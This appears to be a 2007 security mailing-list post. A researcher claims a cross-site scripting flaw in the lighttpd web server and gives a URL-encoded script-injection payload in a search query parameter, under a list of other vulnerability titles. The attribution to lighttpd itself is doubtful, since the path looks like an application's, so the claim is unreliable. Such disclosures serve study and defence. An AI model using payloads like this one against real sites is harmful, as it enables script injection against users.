Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Inertia News Remote File İnclude

XSS in eWay

XSS in communityserver !

XSS in JBoss Portal

From:	bl4ck_(at)_bsdmail.org <bl4ck_(at)_bsdmail.org>
Date:	13.02.2007
Subject:	XSS in lighttpd

hey guys .. check out this new xss i just found  ;P  

Vulnerable : lighttpd
web : http://www.lighttpd.net

XSS :

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%
27bl4ck%27%29%3C%2Fscript%3E


Discovered  By BLacK ZeRo
bL4ck@bsdmail.org

Best regards ,,